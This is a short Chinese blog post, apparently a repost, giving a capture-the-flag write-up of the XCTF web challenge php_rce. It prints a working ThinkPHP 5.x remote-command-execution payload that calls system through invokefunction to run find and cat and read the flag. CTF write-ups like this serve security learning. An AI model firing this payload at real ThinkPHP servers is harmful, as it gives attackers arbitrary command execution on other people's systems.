您的位置:首页 > 编程语言 > PHP开发

攻防世界web进阶区php_rce--Thinkphp5.x命令执行漏洞

2020-07-15 00:06 267 查看

攻防世界web进阶区php_rce--Thinkphp5.x命令执行漏洞

题目


首先我们是命令执行rce,那么我们一般优先访问index.php
然后进行代码审计(这里为了方便,搬运简书大佬的复现和审计)
简书大佬的复现

解法

因为要将我们输入的东西实例化(thinkphp他是这么叫的)

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag*"

function也是他文件中自带的,vars也是它自带的,
那么我们首先执行system命令
find / -name “flag*”
找寻根目录下 名字是flag的所有文件,不看后缀

然后我们直接cat /flag即可

得到flag

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: